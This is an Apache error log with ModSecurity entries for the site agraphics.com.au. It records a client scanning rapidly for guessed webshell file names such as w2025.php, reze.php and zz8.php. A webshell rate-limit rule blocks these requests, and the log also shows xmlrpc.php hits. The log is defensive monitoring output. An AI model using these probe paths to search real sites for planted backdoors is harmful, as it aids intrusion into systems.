[Thu Jan 29 23:31:02.154111 2026] [:error] [pid 19069:tid 19080] [client 112.200.197.21:14586] [client 112.200.197.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.200.197.21, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXt9NvDHsRM4BJ9a4QuN6gAAAAI"]
[Thu Jan 29 23:31:02.166092 2026] [proxy_fcgi:error] [pid 19069:tid 19080] [client 112.200.197.21:14586] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 02:37:29.969915 2026] [autoindex:error] [pid 26945:tid 26956] [client 165.22.37.190:54327] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 30 03:38:28.617111 2026] [proxy_fcgi:error] [pid 16371:tid 16373] [client 217.154.172.107:62335] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 30 03:38:41.185639 2026] [proxy_fcgi:error] [pid 16279:tid 16335] [client 217.154.172.107:56587] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 30 03:38:45.586828 2026] [proxy_fcgi:error] [pid 16280:tid 16365] [client 217.154.172.107:57721] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 30 03:38:55.001342 2026] [proxy_fcgi:error] [pid 16371:tid 16384] [client 217.154.172.107:49781] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 30 04:49:51.165543 2026] [:error] [pid 24681:tid 24701] [client 5.182.17.127:49401] [client 5.182.17.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aXvH74E368IXQpahn0KoSQAAARI"], referer: binance.com
[Fri Jan 30 06:29:42.031697 2026] [proxy_fcgi:error] [pid 47021:tid 47038] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.154322 2026] [proxy_fcgi:error] [pid 47021:tid 47039] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.278726 2026] [proxy_fcgi:error] [pid 47021:tid 47028] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.400253 2026] [proxy_fcgi:error] [pid 47021:tid 47047] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.522267 2026] [proxy_fcgi:error] [pid 47021:tid 47027] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.655959 2026] [proxy_fcgi:error] [pid 47021:tid 47035] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.780834 2026] [proxy_fcgi:error] [pid 47021:tid 47045] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:42.906865 2026] [proxy_fcgi:error] [pid 47021:tid 47036] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:43.031487 2026] [proxy_fcgi:error] [pid 47021:tid 47044] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:43.152874 2026] [proxy_fcgi:error] [pid 47021:tid 47025] [client 20.24.219.65:1823] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 06:29:43.271470 2026] [:error] [pid 47021:tid 47042] [client 20.24.219.65:1823] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aXvfV9ap1k13UdZUNSRM3wAAANM"]
[Fri Jan 30 06:29:43.548882 2026] [:error] [pid 46912:tid 46938] [client 20.24.219.65:1801] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aXvfVz6yiVW7A9NwFFkPLQAAAA4"]
[Fri Jan 30 06:29:43.795986 2026] [:error] [pid 46912:tid 46948] [client 20.24.219.65:1908] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aXvfVz6yiVW7A9NwFFkPMAAAABg"]
[Fri Jan 30 06:29:44.039162 2026] [:error] [pid 24711:tid 24738] [client 20.24.219.65:1898] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aXvfWK5Gwh4var6T23JPawAAAVg"]
[Fri Jan 30 06:29:44.294348 2026] [:error] [pid 24681:tid 24692] [client 20.24.219.65:1875] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aXvfWIE368IXQpahn0LENwAAAQk"]
[Fri Jan 30 06:29:44.539243 2026] [:error] [pid 24712:tid 24759] [client 20.24.219.65:1822] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aXvfWIRLQrFiQF3h9-tf5AAAAZE"]
[Fri Jan 30 06:29:44.774885 2026] [:error] [pid 24711:tid 24721] [client 20.24.219.65:1797] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aXvfWK5Gwh4var6T23JPbQAAAUc"]
[Fri Jan 30 06:29:45.014703 2026] [:error] [pid 24681:tid 24687] [client 20.24.219.65:1877] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aXvfWYE368IXQpahn0LEOwAAAQQ"]
[Fri Jan 30 06:29:45.291016 2026] [:error] [pid 47021:tid 47024] [client 20.24.219.65:1919] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aXvfWdap1k13UdZUNSRM4AAAAME"]
[Fri Jan 30 06:29:45.539605 2026] [:error] [pid 24712:tid 24754] [client 20.24.219.65:1894] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aXvfWYRLQrFiQF3h9-tf5wAAAY0"]
[Fri Jan 30 06:29:45.831408 2026] [:error] [pid 24712:tid 24763] [client 20.24.219.65:1913] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aXvfWYRLQrFiQF3h9-tf6AAAAZU"]
[Fri Jan 30 06:29:46.071318 2026] [:error] [pid 24712:tid 24760] [client 20.24.219.65:1818] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aXvfWoRLQrFiQF3h9-tf6gAAAZI"]
[Fri Jan 30 06:29:46.373034 2026] [:error] [pid 47021:tid 47043] [client 20.24.219.65:1893] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geaitasa.php"] [unique_id "aXvfWtap1k13UdZUNSRM4gAAANQ"]
[Fri Jan 30 06:29:46.674637 2026] [:error] [pid 24712:tid 24746] [client 20.24.219.65:1806] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geaitasa.php"] [unique_id "aXvfWoRLQrFiQF3h9-tf7gAAAYU"]
[Fri Jan 30 06:29:46.986167 2026] [:error] [pid 47021:tid 47032] [client 20.24.219.65:1819] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geaitasa.php"] [unique_id "aXvfWtap1k13UdZUNSRM5QAAAMk"]
[Fri Jan 30 06:29:47.264203 2026] [:error] [pid 24711:tid 24716] [client 20.24.219.65:1752] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geaitasa.php"] [unique_id "aXvfW65Gwh4var6T23JPcgAAAUI"]
[Fri Jan 30 06:29:47.575806 2026] [:error] [pid 38980:tid 38990] [client 20.24.219.65:1794] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-cc.php"] [unique_id "aXvfW7YByxUZEaKXdHrp6AAAAgM"]
[Fri Jan 30 06:29:47.829507 2026] [:error] [pid 46913:tid 46955] [client 20.24.219.65:1867] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-cc.php"] [unique_id "aXvfWzMWmKL8hOfC3uQgGQAAAEQ"]
[Fri Jan 30 06:29:48.091274 2026] [:error] [pid 24712:tid 24761] [client 20.24.219.65:1918] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-cc.php"] [unique_id "aXvfXIRLQrFiQF3h9-tf8AAAAZM"]
[Fri Jan 30 06:29:48.341164 2026] [:error] [pid 24712:tid 24762] [client 20.24.219.65:1866] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-cc.php"] [unique_id "aXvfXIRLQrFiQF3h9-tf8QAAAZQ"]
[Fri Jan 30 06:29:48.582665 2026] [:error] [pid 47021:tid 47047] [client 20.24.219.65:1814] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aXvfXNap1k13UdZUNSRM6AAAANg"]
[Fri Jan 30 06:29:48.820814 2026] [:error] [pid 47021:tid 47027] [client 20.24.219.65:1738] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aXvfXNap1k13UdZUNSRM6QAAAMQ"]
[Fri Jan 30 06:29:49.094903 2026] [:error] [pid 24712:tid 24748] [client 20.24.219.65:1808] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aXvfXYRLQrFiQF3h9-tf8gAAAYc"]
[Fri Jan 30 06:29:49.363924 2026] [:error] [pid 46913:tid 46966] [client 20.24.219.65:1815] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aXvfXTMWmKL8hOfC3uQgHgAAAE8"]
[Fri Jan 30 06:29:49.607662 2026] [:error] [pid 24712:tid 24741] [client 20.24.219.65:1868] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11092null.php"] [unique_id "aXvfXYRLQrFiQF3h9-tf9AAAAYA"]
[Fri Jan 30 06:29:49.847717 2026] [:error] [pid 46914:tid 46998] [client 20.24.219.65:1846] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11092null.php"] [unique_id "aXvfXVgSfJ4kZxNKlb--lQAAAJQ"]
[Fri Jan 30 06:29:50.157479 2026] [:error] [pid 24681:tid 24694] [client 20.24.219.65:1863] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11092null.php"] [unique_id "aXvfXoE368IXQpahn0LERAAAAQs"]
[Fri Jan 30 06:29:50.400816 2026] [:error] [pid 47021:tid 47025] [client 20.24.219.65:1799] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11092null.php"] [unique_id "aXvfXtap1k13UdZUNSRM7AAAAMI"]
[Fri Jan 30 06:29:50.664090 2026] [:error] [pid 24712:tid 24750] [client 20.24.219.65:1901] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvfXoRLQrFiQF3h9-tf9wAAAYk"]
[Fri Jan 30 06:29:50.927936 2026] [:error] [pid 46913:tid 46969] [client 20.24.219.65:1756] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvfXjMWmKL8hOfC3uQgHwAAAFI"]
[Fri Jan 30 06:29:51.216443 2026] [:error] [pid 38686:tid 38709] [client 20.24.219.65:1879] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvfXwoE8BAjgw1_sAWeOwAAAdM"]
[Fri Jan 30 06:29:51.452758 2026] [:error] [pid 38686:tid 38712] [client 20.24.219.65:1872] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvfXwoE8BAjgw1_sAWePAAAAdY"]
[Fri Jan 30 06:29:51.688419 2026] [:error] [pid 46912:tid 46922] [client 20.24.219.65:1886] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aXvfXz6yiVW7A9NwFFkPNwAAAAA"]
[Fri Jan 30 06:29:51.936341 2026] [:error] [pid 38686:tid 38704] [client 20.24.219.65:1802] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aXvfXwoE8BAjgw1_sAWePQAAAc4"]
[Fri Jan 30 06:29:52.179370 2026] [:error] [pid 24712:tid 24743] [client 20.24.219.65:1849] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aXvfYIRLQrFiQF3h9-tf-gAAAYI"]
[Fri Jan 30 06:29:52.419996 2026] [:error] [pid 24711:tid 24730] [client 20.24.219.65:1869] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aXvfYK5Gwh4var6T23JPdwAAAVA"]
[Fri Jan 30 06:29:52.656044 2026] [:error] [pid 24712:tid 24746] [client 20.24.219.65:1902] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "aXvfYIRLQrFiQF3h9-tf_AAAAYU"]
[Fri Jan 30 06:29:52.890753 2026] [:error] [pid 24711:tid 24732] [client 20.24.219.65:1904] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "aXvfYK5Gwh4var6T23JPeAAAAVI"]
[Fri Jan 30 06:29:53.229532 2026] [:error] [pid 24681:tid 24689] [client 20.24.219.65:1900] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "aXvfYYE368IXQpahn0LERwAAAQY"]
[Fri Jan 30 06:29:53.467884 2026] [:error] [pid 38686:tid 38706] [client 20.24.219.65:1798] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "aXvfYQoE8BAjgw1_sAWeQwAAAdA"]
[Fri Jan 30 06:29:53.703126 2026] [:error] [pid 38980:tid 38991] [client 20.24.219.65:1764] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aXvfYbYByxUZEaKXdHrp7AAAAgQ"]
[Fri Jan 30 06:29:53.942198 2026] [:error] [pid 46914:tid 46984] [client 20.24.219.65:1810] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aXvfYVgSfJ4kZxNKlb--mgAAAIY"]
[Fri Jan 30 06:29:54.291132 2026] [:error] [pid 46914:tid 46993] [client 20.24.219.65:1836] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aXvfYlgSfJ4kZxNKlb--mwAAAI8"]
[Fri Jan 30 06:29:54.590179 2026] [:error] [pid 24711:tid 24727] [client 20.24.219.65:1749] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aXvfYq5Gwh4var6T23JPewAAAU0"]
[Fri Jan 30 06:29:54.833717 2026] [:error] [pid 46913:tid 46963] [client 20.24.219.65:1811] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aXvfYjMWmKL8hOfC3uQgIwAAAEw"]
[Fri Jan 30 06:29:55.077683 2026] [:error] [pid 46913:tid 46962] [client 20.24.219.65:1796] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aXvfYzMWmKL8hOfC3uQgJAAAAEs"]
[Fri Jan 30 06:29:55.355887 2026] [:error] [pid 24711:tid 24737] [client 20.24.219.65:1876] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aXvfY65Gwh4var6T23JPfQAAAVc"]
[Fri Jan 30 06:29:55.616644 2026] [:error] [pid 24681:tid 24696] [client 20.24.219.65:1803] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aXvfY4E368IXQpahn0LESwAAAQ0"]
[Fri Jan 30 06:29:56.039889 2026] [:error] [pid 38980:tid 39009] [client 20.24.219.65:1884] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah21.php"] [unique_id "aXvfZLYByxUZEaKXdHrp7wAAAhY"]
